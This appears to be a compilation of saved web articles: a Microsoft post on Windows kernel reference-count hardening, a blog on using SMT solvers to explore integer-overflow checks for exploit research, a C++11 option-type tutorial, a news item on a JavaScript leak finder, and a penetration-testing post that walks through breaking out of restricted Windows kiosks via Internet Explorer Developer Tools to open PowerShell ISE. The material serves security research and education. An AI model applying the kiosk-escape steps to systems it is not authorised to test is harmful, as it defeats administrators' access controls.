Starting with Windows 8, the kernel object manager has started enforcing
protection against reference count wrap in its internal reference counts**.**
If a reference count increment operation detects that the reference count has
wrapped, then an immediate REFERENCE\_BY\_POINTER bugcheck is raised,
preventing the wrapped reference count condition from being exploited by
causing a subsequent use-after-free situation**.** This enables the over-
referencing class of vulnerabilities to be strongly mitigated in a robust
fashion**.** We expect that with this hardening in place, it will not be
practical to exploit an over-reference condition of kernel object manager
objects for code execution, provided that all of the add-reference paths are
protected by the hardening instrumentation**.**

Furthermore, the object manager also similarly protects against transitions
from <= 0 references to a positive number of references, which may make
attempts to exploit other classes of reference count vulnerabilities less
reliable if an attacker cannot easily prevent other reference count
manipulation “traffic” from occurring while attempting to leverage the use
after free condition**.** However, it should still be noted that this is not a
complete mitigation for under-referencing issues**.**

In Windows 8**.** 1, we have stepped up reference count hardening in the
kernel by adding this level of hardening to certain other portions of the
kernel that maintain their own, “private” reference counts for objects not
managed by the object manager**.** Where possible, code has additionally been
converted to use a common set of reference count management logic that
implements the same level of best practices that the object manager’s internal
reference counts do, including usage of pointer-sized reference counts \(which
further helps protect against reference count wrap issues, particularly on
64-bit platforms or conditions where an attacker must allocate memory for each
leaked reference\)**.** Similar to the list entry integrity checks introduced
in Windows 8, where reference count management is provided as an inline
function library, fast fail is used as a convenient and low-overhead mechanism
to quickly abort the program when a reference count inconsistency is
detected**.**

A concrete example of a vulnerability that would have been strongly mitigated
by the broader adoption of reference count hardening in Windows 8**.** 1 is
CVE-2013-1280 \(MS13-017 \), which stemmed from an early-exit code path \(in
response to an error condition\) in the I/O manager, within which the code did
not properly release reference count to an internal I/O manager object that
was previously obtained earlier in the vulnerable function**.** If an attacker
were able to exercise the code path in question repeatedly, then they may have
been able to cause the reference count to wrap around and thus later trigger a
use after free condition**.** With the reference count hardening in place, an
attempt to exploit this vulnerability would have resulted in an immediate
bugcheck instead of a potential use after free situation arising**.**

# Conclusion****

The reference count and list entry hardening changes introduced during Windows
8 and expanded on during Windows 8**.** 1 are designed to drive up the cost of
exploitation of certain classes of object lifetime management
vulnerabilities**.** Situations such as over-referencing or leaked references
can be strongly mitigated when protected by the reference count hardening
deployed in Windows 8 and Windows 8**.** 1, making it extremely difficult to
practically exploit them for code execution**.** Pervasively instrumenting
list entry operations throughout the Microsoft code base \(and increasingly
through third party drivers that use the Windows 8, or above, WDK\) makes
exploiting certain lifetime mismanagement issues less reliable, and improves
reliability by catching corruption closer to the cause \(and in some cases
before corruption can impact other parts of the system\)**.**

That being said, there continue to be future opportunities to increase
adoption of these classes of mitigations throughout Microsoft’s code base
\(and third parties, by extension\), as well as potential opportunities for
future compiler-based or framework-based broad instrumentation to catch and
detect other classes of issues**.** We expect to continue to research and
invest further in compiler-based and framework-based mitigations for object
lifetime management \(and other vulnerability classes\) in the future**.**

\- Ken Johnson

# References****

\[1\] Ben Hawkes**.** Windows 8 and Safe Unlinking in NTDLL**.** July, 2012.

\[2\] Kostya Kortchinsky**.** Real World Kernel Pool Allocation. SyScan**.**
July, 2008.

\[3\] Chris Valasek. Modern Heap Exploitation using the Low Fragmentation
Heap**.** SyScan Taipei. Nov, 2011.

\[4\] Adrian Marinescu**.** Windows Vista Heap Management Enhancements. Black
Hat USA**.** August, 2006.

\[5\] Mateusz “j00ru” Jurczyk**.** Windows Kernel Reference Count
Vulnerabilities – Case Study**.** November 2012**.**

****

# Finding Optimal Solutions to Arithmetic Constraints « Sean Heelan's Blog

**Created:**| _5/9/2011 8:24:37 AM_  
---|---  
**Updated:**| _5/9/2011 8:24:37 AM_  
**Author:**| __  
**Tags:**| _bookmark Debugging Exploit python vulnerability programming
awesome sat SMT modeling_  
  

## Finding Optimal Solutions to Arithmetic Constraints

May 8, 2011 by seanhn

This post is a follow on to my previous ones on automatically determining
variable ranges and on uses for solvers in code auditing sessions. In the
first of those posts I showed how we can use the symbolic execution engine of
ID to automatically model code and then add extra constraints to determine how
it restricts the state space for certain variables. In the second I looked at
one use case for manual modelling of code and proving properties about it as
part of C++ auditing.

In this post I’m going to talk about a problem that lies between the previous
two cases. That is, manually modelling code, but using Python classes provided
by ID in a much more natural way than with the SMT-LIB language, and looking
for optimal solutions to a problem rather than a single one or all possible
solutions.

Consider the following code, produced by HexRays decompiler from an x86
binary. It was used frequently throughout the binary in question to limit the
ranges allowed by particular variables. The first task is to verify that it
does restrict the ranges of `width` and `height` as it is designed to. Its
purpose is to ensure that `v3 * height` is less than 0×7300000 where `v3` is
derived from width.

``

` `

[code]

    int __usercall check_ovf(int width, int height,
        int res_struct)
    {
      int v3; // ecx@1
    
      v3 = ((img_width + 31) >> 3) & 0xFFFFFFFC;
      *(_DWORD *)(res_struct + 12) = width;
      *(_DWORD *)(res_struct + 16) = height;
      *(_DWORD *)(res_struct + 20) = v3;
      if ( width <= 0 || height <= 0 ) // **1**
      {
        *(_DWORD *)(res_struct + 24) = 0;
        *(_DWORD *)(res_struct + 28) = 0;
      }
      else
      {
        if ( height * v3 <= 0 || 120586240 / v3 <= height ) // 2
          *(_DWORD *)(res_struct + 24) = 0;
        else
          *(_DWORD *)(res_struct + 24) = malloc_wrapper(res_struct,
                                           120586240 % v3,
                                           height * v3); // **3**
        *(_DWORD *)(res_struct + 28) = 1;
      }
      return res_struct;
    
[/code]

` `

``

If the above code reaches the line marked as **3** a malloc call will occur
with `height * v3` as the size argument. Can this overflow? Given the checks
at **1** and **2** it’s relatively clear that this cannot occur but for the
purposes of later tasks we will model and verify the code.

One of the things that becomes clear when using the SMT-LIB language \(even
version 2 which is considerably nicer than version 1\) is that using it
directly is still quite cumbersome. This is why in recent versions of Immunity
Debugger we have added wrappers around the CVC3 solver that allow one to build
a model of code using Python expressions \(credit for this goes to Pablo who
did an awesome job\). This was one of the things we covered during the recent
Master Class at Infiltrate and people found it far easier than using the SMT-
LIB language directly.

Essentially, we have `Expression` objects that represent variables or concrete
values and the operators on these expressions \(+, -, %, >> etc\) are over-
ridden so that they make assertions on the solvers state. For example, if `x`
and `y` are `Expression` objects then `x + y` is also an Expression object
representing the addition of `x` and `y` in the current solver context. Using
the `assertIt()` function of any Expression object then asserts that condition
to hold.

With this in mind, we can model the decompiled code in Python as follows:

``

` `

[code]

    import sys
    import time
    
    sys.path.append('C:\\Program Files\\Immunity Inc\\Immunity Debugger\\Libs\\x86smt')
    
    from prettysolver import Expression
    from smtlib2exporter import SmtLib2Exporter
    
    def check_sat():
        img_width = Expression("img_width", signed=True)
        img_height = Expression("img_height", signed=True)
        tmp_var = Expression("tmp_var", signed=True)
    
        const = Expression("const_val")
        (const == 0x7300000).assertIt()
    
        (img_width > 0).assertIt()
        (img_height > 0).assertIt()
    
        tmp_var = ((img_width + 31) >> 3) & 0xfffffffc
        (img_height * tmp_var > 0).assertIt()
        (const / tmp_var > img_height).assertIt()
    
        expr = (((tmp_var * img_height) &
                0xffffffff000000000) != 0)  # **1**
        expr.assertIt()
    
        s = SmtLib2Exporter()
        s.dump_to_file(expr, 'test.smt2') # **2**
    
        # After this we can check with z3 /smt2 /m test.smt2
        # Alternatively we can use expr.isSAT which calls CVC3 but it
        # is a much slower solver
    
        start_time = time.time()
        if expr.isSAT():
            print 'SAT'
            print expr.getConcreteModel()
        else:
            print 'UNSAT'
    
        print 'Total run time: %d seconds' % (time.time() - start_time)
    
    if __name__ == '__main__':
        check_sat()
    
[/code]

` `

``

The above code \(which can be run from the command-line completely
independently of Immunity Debugger\) models the parts of the decompiled
version that we care about. The added condition, marked as **1** checks for
integer overflow by performing a 64-bit multiplication and then checking if
the upper 32 bits are 0 or not. The first thing to note about this code is
that it models the decompiled version quite naturally and is far easier to
write and understand than the SMT-LIB alternative. This makes this kind of
approach to analysing code much more tractable and means that once you are
familiar with the API you can model quite large functions in very little time.
For example, asserting that the condition `if ( height * v3 <= 0 || 120586240
/ v3 <= height )` must be false translates to the following, which is
syntactically quite close to the C code:

``

` `

[code]

    tmp_var = ((img_width + 31) >> 3) & 0xfffffffc
    (img_height * tmp_var > 0).assertIt()
    (const / tmp_var > img_height).assertIt()
    
[/code]

` `

``

Checking if the function does in fact prevent integer overflow is then simple.

<img src='img/Temp2_3173.png' width='500' height='103' />

Using the solver to check if an overflow is possible on the argument to malloc

So, modulo modelling errors on our behalf, the check is safe and prevents an
overflow on the size argument to malloc\*. So what now? Well, in the case of
this particular code-base an interesting behaviour appeared later in the code
if the product of `width` and `height` is sufficiently large and the above
function succeeded in allocating memory. That is, the height and width were
small enough such that `height * v3` was less than 0×7300000 but due to
multiplication with other non-constants later in the code may then overflow.
The question we then want to answer is, what is the maximum value of `image *
height` that can be achieved that also passes the above check?

**Solving Optimisation Problems with Universal Quantification\*\***

This problem is essentially one of optimisation. There are many assignments to
the input variables that will pass the overflow check but we are interested in
those that maximise the resulting product `image` and `height`. Naturally this
problem can be solved on paper with relative ease for small code fragments but
with longer, more complex code this approach quickly becomes an more
attractive.

The first thing to note is that at the line marked as **2** in the above
Python code we used a useful new feature of ID, the `SmtLib2Exporter`\*\*\*,
to dump the model constructed in CVC3 out to a file in SMT-LIB v2 syntax. This
is useful for two reasons, firstly we can use a solver other than CVC3, e.g.
Z3 which is much faster for most problems, and secondly we can manually modify
the formula to include things that our Python wrapper currently doesn’t have,
such as universal quantification.

Universal quantification, normally denoted by the symbol ∀ and the dual to existential quantification, is used to apply a predicate to all members of a set. e.g. ∀x ∈ N.P\(x\) states that for all elements x of the natural numbers some predicate P holds. Assume that the conditions of the integer overflow check are embodied in a function called `sat_inputs` and M is the set of natural numbers module 2^32 then the formula that we want to check is **\(sat\_inputs\(x, y\) = > \(∀ a, b ∈ M | sat\_inputs\(a, b\), x \* y >= a \* b\)\)**, that is that we consider `x` and `y` to be solutions if `x` and `y` satisfy the conditions of `sat_inputs` implies that the product `x * y` is greater or equal to the product of any other two values `a` and `b` that also satisfy `sat_inputs`. This property is encoded in the function `is_largest` in the following SMT-LIB v2 code. The rest of the code is dumped by the previous Python script so checking this extra condition was less than 5 lines of work for us. The details of `sat_inputs` has been excluded for brevity. It simply encodes the semantics the integer overflow checking code. 
``

` `

[code]

    (declare-funs ((img_width BitVec[32])(img_height BitVec[32])))
    
    (define-fun sat_inputs ((img_width BitVec[32])(img_height BitVec[32])) Bool
        (and
             ; Model of the code goes here
        )
    )
    
    (define-fun is_largest ((i BitVec[32])(j BitVec[32])) Bool
        (forall ((a BitVec[32]) (b BitVec[32]))
            (implies (sat_inputs a b)
                (bvsge (bvmul i j) (bvmul a b))
            )
        )
    )
    
    (assert (and
        (sat_inputs img_width img_height)
        (is_largest img_width img_height)
        )
    )
    
    (check-sat)
    (get-info model)
    
[/code]

` `

``  

<img src='img/Temp2_3174.png' width='500' height='112' />

Finding the maximum product of height and width

Running this through Z3 takes 270 seconds \(using universal quantification
results in a significant increase in the problem size\) and we are provided
with an assignment to the height and width variables that not only pass the
checks in the code but are guaranteed to provide a maximal product. The end
result is that with the above two inputs `height * width` is 0x397fffe0, which
is guaranteed to be the maximal product, and `height * (((width + 31) >> 3) &
0xfffffffc)` is 0x72ffffc, as you would expect, which is less than 0×7300000
and therefore satisfies the conditions imposed by the code. Maximising or
minimising other variables or products is similarly trivial, although for such
a small code snippet not particularly interesting \(Even maximising the
product of height and width can be done without a solver in your head pretty
easily but instructive examples aren’t meant to be rocket science\).

This capability becomes far more interesting on larger or more complex
functions and code paths. In such cases the ability to use a solver as a
vehicle for precisely exploring the state space of a program can mean the
difference between spotting a subtle bug and missing out.

**Conclusion**  
By its nature code auditing is about tracking state spaces. The task is to
discover those states implied by the code but not considered by the developer.
In the same way that one may look at a painting and discover meaning not
intended by the artist, an exploit developer will look at a program and
discover a shadow-program, not designed or purposefully created, but in
existence nonetheless. In places this shadow-program is thick, it is easily
discovered, has many entry points and can be easily leveraged to provide
exploit primitives. In other places, this shadow-program clings to the
intended program and is barely noticeable. An accidental decrement here, an
off-by-one bound there. Easy to miss and perhaps adding few states to the true
program. It is from these cases that some of the most entertaining exploits
derive. From state spaces that are barren and lacking in easily leveragable
primitives. Discovering such gateway states, those that move us from the
intended program to its more enjoyable twin, is an exercise in precision. This
is why it continues to surprise me that we have such little tool support for
truly extending our capacity to deal with massive state spaces in a precise
fashion.

Of course we have some very useful features for making a program easier to
manually analyse, among them HexRays decompiler and IDA’s various features for
annotating and shaping a disassembly, as well as plugin architectures for
writing your own tools with Immunity Debugger, IDA and others. What we lack is
real, machine driven, assistance in determining the state space of a program
and, dually, providing reverse engineers with function and basic block level
information on how a given chunk of code effects this state space.

While efforts still need to be made to develop and integrate automation
technologies into our workflows I hope this post, and the others, have
provided some motivation to build tools that not only let us analyse code but
that help us deal with the large state spaces underneath.

_  
\* As a side note, Z3 solves these constraints in about half a second. We hope
to make it our solving backend pretty soon for obvious reasons.  
\*\* True optimisation problems in the domain of satisfiability are different
and usually fall under the heading of MaxSAT and OptSAT. The former deals with
maximising the number of satisfied clauses while the latter assigns weights to
clauses and looks for solutions that minimise or maximise the sum of these
weights. We are instead dealing with optimisation within the variables of the
problem domain. OptSAT might provide interesting solutions for automatic
gadget chaining though and is a fun research area.  
\*\*\* This will be in the next release which should be out soon. If you want
it now just drop me a mail._

__

_Thanks to Rolf Rolles for initially pointing out the usefulness of Z3′s
support for universal/existential quantification for similar problems.  
_

Posted in Bug hunting, SMT solving, Static analysis | 1 Comment
Like

Be the first to like this post.

### One Response

  1. _onMay 9, 2011 at 00:24 | Reply_ <img src='img/Temp2_3171.png' width='48' height='48' /> Rolf Rolles
Nice\! Glad to see you got this working. I’m still stumped on getting
universal quantification working properly with the API \(rather than the
SMTLIB interface\) <img src='img/Temp2_3172.png' alt=':(' /> . Finicky beasts,
SMT solvers are.  
‘  
Looking forward to more posts along these lines.

# Exploit writing tutorial part 10 : Chaining DEP with ROP – the Rubik’s\[TM\] Cube | Peter Van Eeckhoutte's Blog
**Created:**| _6/16/2010 8:20:19 PM_  
---|---  
**Updated:**| _6/16/2010 8:21:41 PM_  
**Author:**| __  
**Tags:**| _Debugging asm Exploit Tutorials windows environment awesome
return-oriented_  
  
<img src='img/Exploit writing tutorial part 10 : Chaining DEP with ROP – the Rubik’s[TM] Cube | Peter Van Eeckhoutte's Blog.pdf' />

# simonask.github.com/maybe.markdown at master · simonask/simonask.github.com
· GitHub

**Created:**| _5/20/2012 4:29:42 PM_  
---|---  
**Updated:**| _5/20/2012 4:29:42 PM_  
**Author:**| __  
**Tags:**| _programming C++11_  
  

#  Option Types in C++11

One of the most frequent sources of crashes in C/C++ programs is the lack of a
NULL pointer check in a place where a pointer turns out to actually be NULL.
On the other hand, it is quite handy to have a default way of saying "no
value" in many situations.

In C and C++, the usual way of designing an API that needs to be able to
return either a value or nothing is to return an `std::unique_ptr` or an
`std::shared_ptr`, often containing a pointer to a heap-allocated object that
will be auto-released when the smart pointer goes out of scope. This has the
obvious drawback of being unable to return a value without heap-allocating it,
which can be prohibitively slow in some circumstances, and it has the
additional drawback of needing the API user to check the return value for NULL
before dereferencing it.

In functional languages, these problems are solved by using Option types,
which are types that represent either a value or nothing. Learning from the
wisdom of functional programming, why don't we make a habit of using the exact
same pattern in C++? Using the C++ type system, we can automatically guard
against NULL pointer dereferences.

##  Introducing `Maybe<T>`

We can create a class that wraps any type `T` by value, instead of wrapping a
pointer to `T`. Using C++11 move semantics, we can eliminate the copying that
would otherwise slow down such a solution.

Here is a simple declaration for such an implementation:

[code]

    template <typename T>
    class Maybe {
    public:
        Maybe() : ptr_(nullptr) {}
        Maybe(const Maybe<T>& other);
        Maybe(Maybe<T>&& other);
        Maybe(const T& other);
        Maybe(T&& other);
        ~Maybe();
        Maybe<T>& operator=(const Maybe<T>& other);
        Maybe<T>& operator=(Maybe<T>&& other);
        Maybe<T>& operator=(const T& other);
        Maybe<T>& operator=(T&& other);
    
        void clear();
        T* get();
        const T* get() const;
        T* operator->();
        const T* operator->() const;
        T& operator*();
        const T& operator*() const;
    
        explicit operator bool() const { return get() != nullptr; }
    private:
        T* ptr_;
    
        struct Placeholder {
            byte _[sizeof(T)];
        };
        Placeholder memory_;
    };
    
[/code]

There are a few things that should be noted about this class:

  1. It provides explicit move constructors and move assignment operators.
  2. It assumes that its own const-ness applies to the inner type as well \(i.e., getting the contents of a `const Maybe<T>` results in a `const T`\).
  3. It uses a chunk of placeholder memory allocated next to the object itself, so as to avoid heap allocation. It is important that this memory isn't just a member of type `T`, because all types may not have default constructors, and we do not want an empty `Maybe<T>` to actually call the constructor of `T`.
  4. Whether or not the object has a value is determined by whether or not `ptr_ == nullptr`. When the object has a value, `ptr_` points to the memory contained in the placeholder.
  5. Note the use of an explicit conversion operator. Prior to C++11, providing conversion operators for `bool` was considered unsafe, because `bool` can implicitly be converted to other integer types, and that could result in unwanted funky situations. In C++11, the `explicit` keyword can be applied to conversion operators to prevent implicit conversion to other types than `bool`.

##  Accessing the placeholder memory

As a convenience, we can create a function to access the placeholder memory.
Note that calling `memory()` on an empty object will return a pointer to
uninitialized memory, and not a valid instance of `T`. Therefore, this
function is private.

[code]

    private:
    T* memory() { return reinterpret_cast<T*>(&memory_); }
    
[/code]

##  Replicating the semantics of the inner type

In order to implement the different constructors and operators, we will need a
series of assignment functions. The type `T` may be any combination of copy-
assignable, move-assignable, copy-constructible, or move-constructible, and we
want the `Maybe` type to reflect these semantics as well as it can. Using
`std::enable_if` \(new in C++11, identical to `boost::enable_if`\) and type
traits, we can create a series of assignment functions which our constructors
and assignment operators can call, selecting the proper version depending on
the available constructors and operators on the type `T`. Using `Maybe<T>` in
a way that the contained instance of `T` cannot accomodate results in a
compilation error.

See maybe.hpp from my project _Reflect_ for an implementation of these
assignment functions.

##  Securing against NULL pointer dereferencing

So far, we have a class that may or may not contain a value. It can be used
like this:

[code]

    Maybe<int> m;
    if (!m) {
      m = 123;
      std::cout << "My number: " << *m << '\n';
      m.clear();
    }
    
[/code]

We haven't solved the real problem, though. Right now, the API user still has
to check if `m` actually has a value before trying to get that value, and if
she forgets, she will still get a crash.

But there is a way to get around that. Using C++11 lambda functions, we can
implement a function that does the NULL pointer check for us, and then lock
the user out from accessing the pointer directly. When we're done, it will
look something like this:

[code]

    Maybe<int> m = 123;
    maybe_if(m, [](int number) {
      std::cout << number << '\n';
    });
    
[/code]

The difference between this code and the above is subtle, but important. The
lambda closure is only executed when `m` contains an int, but the important
idea here is that the _only_ way to access the int is through this guard
function, which takes care of the dereferencing.

For more complex types, we may wish to implement `maybe_if` so it can pass a
reference of the value instead of a copy:

[code]

    Maybe<std::vector<int>> m = some_function_that_may_or_may_not_generate_a_list_of_numbers();
    maybe_if(m, [](const std::vector<int>& list_of_numbers) {
      for (auto number: list_of_numbers) {
        std::cout << number << '\n';
      }
    });
    
[/code]

Using it this way, no copies are made of the vector object at any point, and
it is still only safely accessed.

##  Implementing `maybe_if`

C++ template syntax has never been known for its readability, so I'll try to
do my best explaining what goes on.

The central function is this:

[code]

    template <typename T, typename Functor>
    typename MaybeIf<T,Functor>::ResultType
    maybe_if(Maybe<T>& maybe, Functor function) {
        return MaybeIf<T,Functor>::maybe_if(maybe, function);
    }
    
    template <typename T, typename Functor>
    typename MaybeIf<T,Functor>::ResultType
    maybe_if(const Maybe<T>& maybe, Functor function) {
        return MaybeIf<T,Functor>::maybe_if(maybe, function);
    }
    
[/code]

Because we decided that the const-ness of `Maybe<T>` is also the const-ness of
`T`, we need both versions of this function. Because lambdas are allowed to
have the `void` return type, and C++ disallowed returning a value from a
function with the `void` return type, we need to provide a special case for
when the lambda function has return type `void`. Because C++ disallows
function template specialization, this in turn means that we have to wrap the
real guts of `maybe_if` in a struct type, which _can_ be partially
specialized.

The `MaybeIf` struct is implemented like this:

[code]

    template <typename T, typename Functor>
    struct MaybeIf {
        typedef typename std::result_of<Functor(T&)>::type ReturnType;
        typedef MaybeIfImpl<T, ReturnType, Functor> Impl;
        typedef typename Impl::ResultType ResultType;
    
        static ResultType maybe_if(Maybe<T>& maybe, Functor function) {
            return Impl::maybe_if(maybe, function);
        }
    
        static ResultType maybe_if(const Maybe<T>& maybe, Functor function) {
            return Impl::maybe_if(maybe, function);
        }
    };
    
[/code]

This level exists for the deduction of the return type of the provided lambda
function, using `std::result_of`. The `void` return type specialization hasn't
happened yet, but is invoked from here. There is one important detail here:
Note the '`&`' in `std::result_of<Functor(T&)>` \-- this is because we want to
allow the users of `maybe_if` to modify the internal object, and `T&` can
degrade to both `T` \(by-value\), `const T&`, and can be turned into `T&&` by
using `std::move` in the provided lambda. Without the '`&`', only lambdas
taking `T` or `const T&` as their arguments could be used with `maybe_if`.

The `MaybeIfImpl` struct is implemented like this:

[code]

    template <typename T, typename R, typename Functor>
    struct MaybeIfImpl;
    
    template <typename T, typename Functor>
    struct MaybeIfImpl<T, void, Functor> {
        typedef bool ResultType;
    
        static bool maybe_if(Maybe<T>& maybe, Functor function) {
            if (maybe) { function(*maybe); return true; }
            return false;
        }
        static bool maybe_if(const Maybe<T>& maybe, Functor function) {
            if (maybe) { function(*maybe); return true; }
            return false;
        }
    };
    
    template <typename T, typename R, typename Functor>
    struct MaybeIfImpl {
        typedef typename RemoveMaybe<R>::Type ReturnType;
        typedef Maybe<ReturnType> ResultType;
    
        static ResultType maybe_if(Maybe<T>& maybe, Functor function) {
            if (maybe) return function(*maybe);
            return ResultType();
        }
    
        static ResultType maybe_if(const Maybe<T>& maybe, Functor function) {
            if (maybe) return function(*maybe);
            return ResultType();
        }
    };
    
[/code]

This is where the specialization for lambdas returning `void` happens. There
are some interesting things to note about this:

  1. The result of `maybe_if` is normally `Maybe<R>`, where `R` is the return type of the provided lambda. If the lambda has `void` return type, the result of `maybe_if` is a boolean value indicating whether or not the lambda executed.
  2. If the lambda returns a `Maybe<Foo>`, the result of `maybe_if` would naïvely be `Maybe<Maybe<Foo>>`, but that's not something we're very interested in, so we must define a `RemoveMaybe<T>` type that can tell us the inner type of a `Maybe` type, or just pass along `T`:

`RemoveMaybe<T>`:

[code]

      template <typename T>
      struct RemoveMaybe;
      template <typename T>
      struct RemoveMaybe<Maybe<T>> {
        typedef T Type;
      };
      template <typename T>
      struct RemoveMaybe {
        typedef T Type;
      };
    
[/code]

The last missing piece is securing `Maybe<T>` against direct manipulation of
its inner memory. This can be achieved by marking the getters private, and
declaring `MaybeIfImpl` friend. Our final class declaration then looks like
this:

[code]

    template <typename T>
    class Maybe {
    public:
        Maybe() : ptr_(nullptr) {}
        Maybe(const Maybe<T>& other);
        Maybe(Maybe<T>&& other);
        Maybe(const T& other);
        Maybe(T&& other);
        ~Maybe() { clear(); }
        Maybe<T>& operator=(const Maybe<T>& other);
        Maybe<T>& operator=(Maybe<T>&& other);
        Maybe<T>& operator=(const T& other);
        Maybe<T>& operator=(T&& other);
    
        void clear();
    
        explicit operator bool() const { return get() != nullptr; }
    private:
        template <typename U, typename R, typename Functor> friend struct MaybeIfImpl;
    
        const T* get() const { return ptr_; }
        T* get() { return ptr_; }
        T* operator->() { return get(); }
        const T* operator->() const { return get(); }
        T& operator*() { return *get(); }
        const T& operator*() const { return *get(); }
    
        T* ptr_;
        struct Placeholder {
            byte _[sizeof(T)];
        };
        Placeholder memory_;
    
        T* memory() { return reinterpret_cast<T*>(&memory_); }
    
      // assigners here...
    };
    
[/code]

##  All done

And that's it\! I recommend taking a look at a full implementation of Maybe,
to get a better idea of some of the more low-level details dealing with C++'s
syntactic idiosyncracies.

In my implementation, I have also provided an `otherwise` function, because
"if-else" is a common thing to need. The API looks like this:

[code]

    Maybe<int> m = 123;
    maybe_if(m, [](int) {
      // there is a value
    }).otherwise([]() {
      // there is no value
    });
    
[/code]

Reflecting on the insight provided by this implementation, it is worth noting
that there is no reason that the `maybe_if` pattern couldn't be applied to all
nullable types. The implementation could be easily generalized such that
`maybe_if` could take a pointer of any type, check whether it's NULL, and then
pass it on to a lambda function if not. The key to the option type pattern,
though, is the inability to access objects that we aren't 100% sure are
initialized with something valid.

# Google Open Sources Leak Finder, a JavaScript Tool for Detecting Memory
Leaks

**Created:**| _8/16/2012 9:14:59 AM_  
---|---  
**Updated:**| _8/16/2012 9:15:40 AM_  
**Author:**| __  
**Tags:**| _JavaScript Memory corruptions_  
  

# Google Open Sources Leak Finder, a JavaScript Tool for Detecting Memory
Leaks

Posted by **Abel Avram** on Aug 09, 2012

Sections

    Development
Topics

    Javascript ,
    Web Development ,
    Dynamic Languages ,
    Open Source ,
    Google ,
    Memory Leaks ,
    Closures
Share 

|             



<img src='img/bookmarkthis.png' />







Google has open sourced Leak Finder, a tool inspecting the heap of JavaScript
applications in order to find memory leaks.

As a garbage collected language JavaScript does not have the usual memory
leaks typically found in other languages such as C++. But when memory is still
allocated to objects that are no longer used it is said that the application
has memory leaks, and if the leaks are important then the application may show
reduced performance or even fail to execute.

One of the ways of possibly getting a memory leak in JavaScript is with
circular references, especially when closures are used. Leak Finder can detect
when a closure produces a leak, warning the developer and pointing to the
faulty code. The tool looks for Google Closures’ goog.Disposable objects in
the heap, verifying if the dispose\(\) method was called and whether event
listeners were released, because they can hold references to DOM objects, thus
leaking memory.

Currently, Leak Finder works with Closures but it can be configured to work
with other libraries. Closures is an open source JavaScript library containing
widgets, an event framework, tools for DOM manipulation, a unit testing
framework, animation tools, and other components, being used extensively
across Google services such as GMail, GDocs, GMaps and others.

Also, code analysis must be done with Chrome 21 or later using remote
debugging and the development tools.

Google open sourced in the past a number of other JavaScript tools such as
the Closure Compiler, a tool generating compact and high performance code,
Closure Templates for dynamically generating HTML, Closure Linter, a
JavaScript style checker, and Closure Stylesheets, a set of extensions to CSS.
GWT, another toolkit for building JavaScript applications, has had a release
candidate in June, but its future is uncertain since Google has moved many of
their GWT developers to Dart, which is seen as “an ambitious evolution of
GWT’s mission to make web apps better for end users, and we’re optimistic
about its potential.”





### RelatedVendorContent

Cutting Edge Ruby, PHP, and Dynamic Languages for the Web @QConSF

Fair Trade Software Licensing - A Guide to Licensing Options for Neo4j

Why NoSQL? A Primer on the Rise of NoSQL

Enterprise-class API Patterns for Cloud & Mobile

Troubleshoot Java/.NET performance while getting full visibility in production

# Getting Shell in Modern Restricted User Environments – LaNMaSteR53

**Created:**| _10/24/2013 1:39:54 PM_  
---|---  
**Updated:**| _10/24/2013 1:39:54 PM_  
**Author:**| __  
**Tags:**| _windows_  
  

#  Getting Shell in Modern Restricted User Environments****

October 23, 2013

Anyone that has been doing penetration tests for a reasonable amount of time
has at some point encountered a restricted user environment**.** A restricted
user environment is a locked down, and usually shared, environment which
restricts users to very limited functionality**.** These configurations are
commonly seen in public kiosks and shared terminal servers**.**

The first instinct to achieve shell in one of these environments is to simply
run "cmd.exe"**.** In most cases, it's not that easy**.** Finding a means to
run "cmd.exe" can be challenging**.** The typical routes such as the "Run"
command, Windows Explorer, and "Programs" menu are usually disabled**.** But
there are ways to do it. Below I cover one such technique I have been using
for several years and have not seen documented elsewhere**.** It leverages
Internet Explorer Developer Tools. Let me show you how it works**.**

Most restricted user environments exist solely to provide functionality that
is accessed via a web browser**.** Therefore, Internet Explorer is authorized
in just about every restricted Windows environment**.** While not guaranteed,
it has been available in every such environment that I have encountered to
date**.** Built into Internet Explorer is the feature that we are going to
leverage, a feature named Developer Tools**.**

<img src='img/Temp2_3475.png' />

The Internet Explorer Developer Tools provide similar functionality to that of
Chrome and Firefox**.** However, there is some additional functionality that
becomes quite beneficial in solving our current predicament**.** Once the
Developer Tools panel is loaded via pressing the "F12" key or clicking on
"Developers Tools" in the "Tools" menu, a click on the "File" menu of the
Developer Tools panel reveals an option named "Customize Internet Explorer
view source"**.**

<img src='img/Temp2_3472.png' />

This menu option allows the user to select which program on the local system
is used to load the HTML source of a web page in Internet Explorer when the
"View Source" menu item is selected on the "Page" menu**.** The first instinct
of any penetration tester should be to browse to "cmd.exe", select it as the
program, click "OK", then view the source of any web page**.** While this
sounds like a decent plan, there are 2 issues that must be addressed before we
can achieve shell this way**.**

The first issue is that in restricted user environments, direct access to the
contents of the system drive is usually disallowed**.** The solution to this
problem is very simple**.** By typing the drive letter of the system drive in
the "File name" box and hitting the "Enter" key, we are greeted with the
contents of the drive**.**

<img src='img/Temp2_3480.png' />

At this point, we browse to the "C:\Windows\System32" folder, select
"cmd.exe", and view the source of any web page**.** We are promptly greeted
with the following result.

<img src='img/Temp2_3479.png' />

This is the second issue**.** Administrators have become savvy to the use of
the command prompt by those looking to conduct nefarious activities on their
tightly controlled system, and have leveraged local security policy to disable
it**.** Fortunately, solving this issue is almost as easy as the first, but
with a little twist**.**

<img src='img/Temp2_3477.png' />

PowerShell fans everywhere should be screaming at me through their computer
screens right about now**.** The partial answer here is to try and execute
PowerShell rather than "cmd.exe" as it is often forgotten by administrators
and is not restricted by the security policy setting that explicitly disables
the command prompt**.**

<img src='img/Temp2_3474.png' />

So we use the "Customize Internet Explorer view source" approach from above to
browse to "C:\Windows\System32\WindowsPowerShell\v1**.** 0", select
"powershell.exe", and again view the source of any web page**.** This time
around, we are greeted with the following result**.**

<img src='img/Temp2_3478.png' />

This image was difficult to capture because, unfortunately, PowerShell doesn't
understand the use of a cached HTML file name as syntactically correct input,
fails, and exits without providing access to the shell**.** Bummer. However,
there is still another option**.** Look back 3 images and notice the
"powershell\_ise.exe" file**.** The "powershell\_ise.exe" program is the
PowerShell Integrated Scripting Environment \(ISE\)**.** It just so happens
that by using this as our program to view the source of web pages in Internet
Explorer, we are greeted with the following result**.**

<img src='img/Temp2_3473.png' />

A friendly PowerShell IDE**\!** We see our HTML loaded into the script editor
and an interactive PowerShell prompt at the bottom of the window**.** The
output from our commands populate the middle pane**.** This should be
sufficient to move forward, but if you would rather have a raw PowerShell
prompt, simply click the PowerShell button at the top of the page and you have
your wish**.**

<img src='img/Temp2_3476.png' />

At this point, we have accomplished our goal of gaining shell access in the
